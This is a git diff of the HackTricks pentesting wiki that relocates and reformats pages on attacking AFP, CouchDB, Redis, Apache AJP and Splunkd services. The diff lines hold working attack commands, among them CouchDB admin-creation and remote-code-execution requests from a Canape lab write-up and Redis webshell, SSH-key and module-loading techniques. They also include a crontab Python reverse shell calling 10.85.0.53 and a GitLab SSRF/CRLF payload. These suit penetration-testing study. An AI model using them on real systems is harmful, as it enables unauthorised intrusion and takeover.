Support HackTricks and get benefits! @@ -77,5 +75,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/5601-pentesting-kibana.md b/network-services-pentesting/5601-pentesting-kibana.md similarity index 100% rename from pentesting/5601-pentesting-kibana.md rename to network-services-pentesting/5601-pentesting-kibana.md diff --git a/pentesting/5671-5672-pentesting-amqp.md b/network-services-pentesting/5671-5672-pentesting-amqp.md similarity index 100% rename from pentesting/5671-5672-pentesting-amqp.md rename to network-services-pentesting/5671-5672-pentesting-amqp.md diff --git a/pentesting/584-pentesting-afp.md b/network-services-pentesting/584-pentesting-afp.md similarity index 89% rename from pentesting/584-pentesting-afp.md rename to network-services-pentesting/584-pentesting-afp.md index 6326e1ab..586cdc96 100644 --- a/pentesting/584-pentesting-afp.md +++ b/network-services-pentesting/584-pentesting-afp.md @@ -1,4 +1,4 @@ - +# 548 - Pentesting Apple Filing Protocol (AFP)
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -The **Apple Filing Protocol** (**AFP**), formerly AppleTalk Filing Protocol, is a proprietary network protocol, and part of the **Apple File Service** (**AFS**), that offers file services for macOS and the classic Mac OS. In macOS, AFP is one of several file services supported**.** AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services. +The **Apple Filing Protocol** (**AFP**), formerly AppleTalk Filing Protocol, is a proprietary network protocol, and part of the **Apple File Service** (**AFS**), that offers file services for macOS and the classic Mac OS. In macOS, AFP is one of several file services supported\*\*.\*\* AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services. **Default port:** 548 @@ -28,7 +27,7 @@ PORT STATE SERVICE 548/tcp open afp ``` -# Enumeration +## Enumeration ```bash msf> use auxiliary/scanner/afp/afp_server_info @@ -42,8 +41,7 @@ nmap -sV --script "afp-* and not dos and not brute" -p | afp-serverinfo | Displays AFP server information | | afp-showmount | Lists available AFP shares and respective ACLs | -## [**Brute Force**](../brute-force.md#afp) - +### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
@@ -60,5 +58,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/5984-pentesting-couchdb.md b/network-services-pentesting/5984-pentesting-couchdb.md similarity index 87% rename from pentesting/5984-pentesting-couchdb.md rename to network-services-pentesting/5984-pentesting-couchdb.md index 2cb452a9..4585d4f4 100644 --- a/pentesting/5984-pentesting-couchdb.md +++ b/network-services-pentesting/5984-pentesting-couchdb.md @@ -1,4 +1,4 @@ - +# 5984,6984 - Pentesting CouchDB
@@ -16,32 +16,31 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map. -Each document that is stored in the database is given a document-level unique identifier \(`_id`\) as well as a revision \(`_rev`\) number for each change that is made and saved to the database. +Each document that is stored in the database is given a document-level unique identifier (`_id`) as well as a revision (`_rev`) number for each change that is made and saved to the database. -**Default port:** 5984\(http\), 6984\(https\) +**Default port:** 5984(http), 6984(https) -```text +``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` -# **Automatic Enumeration** +## **Automatic Enumeration** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` -# Manual Enumeration +## Manual Enumeration -## Banner +### Banner -```text +``` curl http://IP:5984/ ``` @@ -56,13 +55,13 @@ This issues a GET request to installed CouchDB instance. The reply should look s Note that if accessing the root of couchdb you receive a `401 Unauthorized` with something like this: `{"error":"unauthorized","reason":"Authentication required."}` **you won't be able to access** the banner or any other endpoint. {% endhint %} -## Info Enumeration +### Info Enumeration These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html). * **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID. -* **`/_all_dbs`**Returns a list of all the databases in the CouchDB instance. -* **`/_cluster_setup`**Returns the status of the node or cluster, per the cluster setup wizard. +* \*\*`/_all_dbs`\*\*Returns a list of all the databases in the CouchDB instance. +* \*\*`/_cluster_setup`\*\*Returns the status of the node or cluster, per the cluster setup wizard. * **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint. * **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster. * **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things. @@ -70,38 +69,38 @@ These are the endpoints where you can access with a **GET** request and extract * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_node/{node-name}`** The `/_node/{node-name}` endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing `/_node/_local` to retrieve this information. -* **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local node’s statistics. -* **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server_._ You can use \_\_`_local` as {node-name} to get current node info. +* **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local node’s statistics. +* **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server\_.\_ You can use \_\_`_local` as {node-name} to get current node info. * **`/_node/{node-name}/_restart`** -* **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) is `true` or `nolb`, the endpoint will return a 404 response. -* **`/_uuids`**Requests one or more Universally Unique Identifiers \(UUIDs\) from the CouchDB instance. -* **`/_reshard`**Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. +* **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) is `true` or `nolb`, the endpoint will return a 404 response. +* \*\*`/_uuids`\*\*Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. +* \*\*`/_reshard`\*\*Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) -## **Database List** +### **Database List** -```text +``` curl -X GET http://IP:5984/_all_dbs ``` If that request **responds with a 401 unauthorised**, then you need some **valid credentials** to access the database: -```text +``` curl -X GET http://user:password@IP:5984/_all_dbs ``` -In order to find valid Credentials you could **try to** [**bruteforce the service**](../brute-force.md#couchdb). +In order to find valid Credentials you could **try to** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb). -This is an **example** of a couchdb **response** when you have **enough privileges** to list databases \(It's just a list of dbs\): +This is an **example** of a couchdb **response** when you have **enough privileges** to list databases (It's just a list of dbs): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` -## Database Info +### Database Info -You can obtain some database info \(like number of files and sizes\) accessing the database name: +You can obtain some database info (like number of files and sizes) accessing the database name: ```bash curl http://IP:5984/ @@ -110,7 +109,7 @@ curl http://localhost:5984/simpsons {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` -## **Document List** +### **Document List** List each entry inside a database @@ -129,7 +128,7 @@ curl http://localhost:5984/simpsons/_all_docs ]} ``` -## **Read Document** +### **Read Document** Read the content of a document inside a database: @@ -140,7 +139,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` -# CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) +## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Thanks to the differences between Erlang and JavaScript JSON parsers you could **create an admin user** with credentials `hacktricks:hacktricks` with the following request: @@ -150,15 +149,15 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] [**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). -# CouchDB RCE +## CouchDB RCE -## Erlang Cookie +### Erlang Cookie In the CouchDB docs, in the [cluster set-up section](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), it talks about the different ports used by CouchDB: > CouchDB in cluster mode uses the port `5984` just as standalone, but it also uses `5986` for node-local APIs. > -> Erlang uses TCP port `4369` \(EPMD\) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh. +> Erlang uses TCP port `4369` (EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh. And then there’s an interesting warning: @@ -166,23 +165,23 @@ And then there’s an interesting warning: If we look in the process list, we can see that cookie, “monster”: -```text +``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -**You can**[ **read this section to learn how to abuse Erlangs cookies to obtain RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.** +**You can**[ **read this section to learn how to abuse Erlangs cookies to obtain RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.**\ Also, you can read some **Canape HTB machine writeup** [**like this one**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) to see and **practice** how to **exploit this vuln**. -## **Successful CVE-2018-8007 with local.ini write permissions** +### **Successful CVE-2018-8007 with local.ini write permissions** In writing this post, I found a new CVE had been released for CouchDB from mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). It also requires writes to the `local.ini` file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work. -Start with a clean and now writable `local.ini` \(and a backup\): +Start with a clean and now writable `local.ini` (and a backup): -```text +``` root@canape:/home/homer/etc# ls -l total 40 -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini @@ -199,7 +198,7 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couch In the root shell, we can see what changes: -```text +``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < @@ -212,14 +211,14 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk And yet, the file isn’t there: -```text +``` root@canape:/home/homer/etc# ls /tmp/0xdf ls: cannot access '/tmp/0xdf': No such file or directory ``` If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also `runsrv couchdb`: -```text +``` root@canape:/home/homer/bin# ps aux | grep couch root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb @@ -227,9 +226,9 @@ homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bi n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config ``` -If we kill that process, it comes right back \(notice the new pid\): +If we kill that process, it comes right back (notice the new pid): -```text +``` root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ps aux | grep runsrv root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv @@ -237,12 +236,12 @@ root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=a And, on restart, runs the OS\_Daemons: -```text +``` root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` -## **Successful Attempt Via CVE-2017-12636 with local.ini write permissions** +### **Successful Attempt Via CVE-2017-12636 with local.ini write permissions** CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration. @@ -280,14 +279,14 @@ www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/c Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the `local.ini` file is not writable by anyone, let alone www-data: -```text +``` root@canape:/home/home/etc# ls -ls local.ini 8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini ``` So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes: -```text +``` root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b root@canape:/# chmod 666 /home/homer/etc/local.ini ``` @@ -299,14 +298,14 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couch "" ``` -```text +``` www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' "" ``` We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked: -```text +``` root@canape:/home/homer/etc# diff local.ini local.ini.bk 48c48 < cmd = /sbin/ifconfig > /tmp/df @@ -330,7 +329,7 @@ www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d {"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} ``` -```text +``` www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' ["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df' @@ -348,18 +347,16 @@ Request it in a view: www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json" ``` -### [Summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) with a different payload +#### [Summary](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) with a different payload -# Shodan +## Shodan * `port:5984 couchdb` -# References +## References * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) -* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) - - +* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
@@ -376,5 +373,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/5985-5986-pentesting-omi.md b/network-services-pentesting/5985-5986-pentesting-omi.md similarity index 100% rename from pentesting/5985-5986-pentesting-omi.md rename to network-services-pentesting/5985-5986-pentesting-omi.md diff --git a/pentesting/5985-5986-pentesting-winrm.md b/network-services-pentesting/5985-5986-pentesting-winrm.md similarity index 100% rename from pentesting/5985-5986-pentesting-winrm.md rename to network-services-pentesting/5985-5986-pentesting-winrm.md diff --git a/pentesting/6000-pentesting-x11.md b/network-services-pentesting/6000-pentesting-x11.md similarity index 100% rename from pentesting/6000-pentesting-x11.md rename to network-services-pentesting/6000-pentesting-x11.md diff --git a/pentesting/623-udp-ipmi.md b/network-services-pentesting/623-udp-ipmi.md similarity index 100% rename from pentesting/623-udp-ipmi.md rename to network-services-pentesting/623-udp-ipmi.md diff --git a/pentesting/6379-pentesting-redis.md b/network-services-pentesting/6379-pentesting-redis.md similarity index 96% rename from pentesting/6379-pentesting-redis.md rename to network-services-pentesting/6379-pentesting-redis.md index 0f25a5ce..cf79279d 100644 --- a/pentesting/6379-pentesting-redis.md +++ b/network-services-pentesting/6379-pentesting-redis.md @@ -1,4 +1,4 @@ - +# 6379 - Pentesting Redis
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information Redis is an open source (BSD licensed), in-memory **data structure store**, used as a **database**, cache and message broker (from [here](https://redis.io/topics/introduction)). By default and commonly Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md). @@ -28,7 +27,7 @@ PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` -# Automatic Enumeration +## Automatic Enumeration Some automated tools that can help to obtain info from a redis instance: @@ -37,9 +36,9 @@ nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` -# Manual Enumeration +## Manual Enumeration -## Banner +### Banner Redis is a **text based protocol**, you can just **send the command in a socket** and the returned values will be readable. Also remember that Redis can run using **ssl/tls** (but this is very weird). @@ -58,7 +57,7 @@ The **first command** you could try is **`info`**. It **may return output with i In this last case, this means that **you need valid credentials** to access the Redis instance. -## Redis Authentication +### Redis Authentication **By default** Redis can be accessed **without credentials**. However, it can be **configured** to support **only password, or username + password**.\ It is possible to **set a password** in _**redis.conf**_ file with the parameter `requirepass` **or temporary** until the service restarts connecting to it and running: `config set requirepass p@ss$12E45`.\ @@ -69,8 +68,8 @@ If only password is configured the username used is "**default**".\ Also, note that there is **no way to find externally** if Redis was configured with only password or username+password. {% endhint %} -In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../brute-force.md#redis) it.**\ -**In case you found valid credentials you need to** authenticate the session** after establishing the connection with the command: +In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) it.\ +**In case you found valid credentials you need to authenticate the session** after establishing the connection with the command: ```bash AUTH @@ -78,7 +77,7 @@ AUTH **Valid credentials** will be responded with: `+OK` -## **Authenticated enumeration** +### **Authenticated enumeration** If the Redis instance is accepting **anonymous** connections or you found some **valid credentials**, you can **start enumerating** the service with the following commands: @@ -104,7 +103,7 @@ You can also **monitor in real time the Redis commands** executed with the comma Find more interesting information about more Redis commands here: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) -## **Dumping Database** +### **Dumping Database** Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk: @@ -136,9 +135,9 @@ HGET **Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/) -# Redis RCE +## Redis RCE -## Webshell +### Webshell Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**: @@ -156,7 +155,7 @@ OK ​If the webshell access exception, you can empty the database after backup and try again, remember to restore the database. -## SSH +### SSH Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authenticated_users` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it: @@ -178,7 +177,7 @@ Please be aware **`config get dir`** result can be changed after other manually **This technique is automated here:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) -## Crontab +### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 @@ -195,7 +194,7 @@ The last exampleis for Ubuntu, for **Centos**, the above command should be: `red This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286981#reply14) -## Load Redis Module +### Load Redis Module 1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**. 2. Then you need some way to **upload the compiled** module @@ -212,11 +211,11 @@ This method can also be used to earn bitcoin ：[yam](https://www.v2ex.com/t/286 ``` 6. Unload the module whenever you want: `MODULE UNLOAD mymodule` -## LUA sandbox bypass +### LUA sandbox bypass [**Here**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) you can see that Redis uses the command **EVAL** to execute **Lua code sandboxed**. In the linked post you can see **how to abuse it** using the **dofile** function, but [apparently](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) this isn't no longer possible. Anyway, if you can **bypass the Lua** sandbox you could **execute arbitrary** commands on the system. Also, from the same post you can see some **options to cause DoS**. -## Master-Slave Module +### Master-Slave Module ​The master redis all operations are automatically synchronized to the slave redis, which means that we can regard the vulnerability redis as a slave redis, connected to the master redis which our own controlled, then we can enter the command to our own redis. @@ -232,7 +231,7 @@ set mykey hello set mykey2 helloworld ``` -# SSRF talking to Redis +## SSRF talking to Redis If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand: @@ -248,7 +247,7 @@ If you can send **clear text** request **to Redis**, you can **communicate with Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis. -## Example: Gitlab SSRF + CRLF to Shell +### Example: Gitlab SSRF + CRLF to Shell In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**. @@ -269,7 +268,6 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit _For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._ -
Support HackTricks and get benefits! @@ -285,5 +283,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/69-udp-tftp.md b/network-services-pentesting/69-udp-tftp.md similarity index 100% rename from pentesting/69-udp-tftp.md rename to network-services-pentesting/69-udp-tftp.md diff --git a/pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md similarity index 100% rename from pentesting/7-tcp-udp-pentesting-echo.md rename to network-services-pentesting/7-tcp-udp-pentesting-echo.md diff --git a/pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md similarity index 86% rename from pentesting/8009-pentesting-apache-jserv-protocol-ajp.md rename to network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index adb8c47d..72273c06 100644 --- a/pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -1,4 +1,4 @@ - +# 8009 - Pentesting Apache JServ Protocol (AJP)
@@ -16,12 +16,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) -> AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as [Apache](http://httpd.apache.org/) to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content. +> AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as [Apache](http://httpd.apache.org) to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content. Also interesting: @@ -29,12 +28,12 @@ Also interesting: **Default port:** 8009 -```text +``` PORT STATE SERVICE 8009/tcp open ajp13 ``` -# CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat) +## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat) If the AJP port is exposed, Tomcat might be susceptible to the Ghostcat vulnerability. Here is an [exploit](https://www.exploit-db.com/exploits/48143) that works with this issue. @@ -42,11 +41,11 @@ Ghostcat is a LFI vulnerability, but somewhat restricted: only files from a cert Patched versions at or above 9.0.31, 8.5.51, and 7.0.100 have fixed this issue. -# Apache AJP Proxy +## Apache AJP Proxy -It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can \(ab\)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that \(read it first\), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary. +It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary. -```text +``` sudo apt-get install libapache2-mod-jk sudo vim /etc/apache2/apache2.conf # append the following line to the config Include ajp.conf @@ -66,7 +65,7 @@ sudo systemctl restart apache2 A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also: -```text +``` msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): @@ -82,15 +81,13 @@ Module options (exploit/multi/http/tomcat_mgr_deploy): VHOST no HTTP server virtual host ``` -## Enumeration +### Enumeration ```bash nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 ``` -## [**Brute force**](../brute-force.md#ajp) - - +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#ajp)
@@ -107,5 +104,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md similarity index 100% rename from pentesting/8086-pentesting-influxdb.md rename to network-services-pentesting/8086-pentesting-influxdb.md diff --git a/pentesting/8089-splunkd.md b/network-services-pentesting/8089-splunkd.md similarity index 89% rename from pentesting/8089-splunkd.md rename to network-services-pentesting/8089-splunkd.md index e2d125ff..82475ea0 100644 --- a/pentesting/8089-splunkd.md +++ b/network-services-pentesting/8089-splunkd.md @@ -1,4 +1,4 @@ - +# 8089 - Pentesting Splunkd
@@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Default port:** 8089 ``` @@ -24,17 +23,16 @@ PORT STATE SERVICE VERSION 8089/tcp open http Splunkd httpd ``` -In the following page you can find an explanation how this service can be abused to escalate privileges and obtain persistence: +In the following page you can find an explanation how this service can be abused to escalate privileges and obtain persistence: -{% content-ref url="../linux-unix/privilege-escalation/splunk-lpe-and-persistence.md" %} -[splunk-lpe-and-persistence.md](../linux-unix/privilege-escalation/splunk-lpe-and-persistence.md) +{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} +[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md) {% endcontent-ref %} -## Shodan +### Shodan * `Splunk build` -
